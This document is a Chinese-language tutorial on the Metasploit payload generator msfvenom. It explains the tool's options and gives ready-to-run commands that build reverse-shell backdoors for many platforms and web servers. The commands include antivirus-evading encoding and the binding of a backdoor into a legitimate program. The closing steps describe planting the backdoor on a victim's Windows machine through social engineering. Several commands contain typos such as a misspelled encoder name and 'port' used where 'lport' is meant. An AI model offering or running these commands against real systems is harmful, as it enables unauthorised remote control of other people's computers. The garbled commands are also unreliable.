简介
msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
参数介绍
-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-p
指定需要使用的payload(攻击荷载)。
-f
指定输出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
- 1
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
- 1
-e
指定需要使用的encoder(编码器)编码免杀。
-a
指定payload的目标架构
选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
- 1
- 2
-o
保存payload文件输出。
-b
设定规避字符集,比如: '\x00\xff'避免使用的字符
-n
为payload预先指定一个NOP滑动长度
-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。
-i
指定payload的编码次数
-c
指定一个附加的win32 shellcode文件
-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-v
指定一个自定义的变量,以确定输出格式
Mcfvenom实例
普通生成
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
- 1
编码处理
msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikita_ga_nai lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
- 1
捆绑
msfvenom -p windows/meterpreter/reverse_tcp -p latform windows -a x64 -x /root/baidunetdisk.exe -k lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
- 1
Windows
msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
- 1
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f elf > shell.elf
- 1
Mac
msfvenom -p osx/x86/shell_reverse_tcp lhost=192.168.1.10 port=4444 -f macho > shell.macho
- 1
Php
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw
- 1
Asp
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f asp
- 1
Aspx
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f aspx
- 1
Jsp
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.10 port=4444 -f raw
- 1
War
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f war
- 1
Bash
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.10 port=4444 -f bash
- 1
Perl
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.10 port=4444 -f raw
- 1
Python
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw
- 1
- 2
应用实例
msfvenom的shell在windows中的使用
1.使用msfvenom生成windows可执行后门文件
2.将后门文件放入windows机器中(现实中可使用社工的方法进行诱导)
3.设置监听
4.启动监听,并运行密码文件后成功获取到shell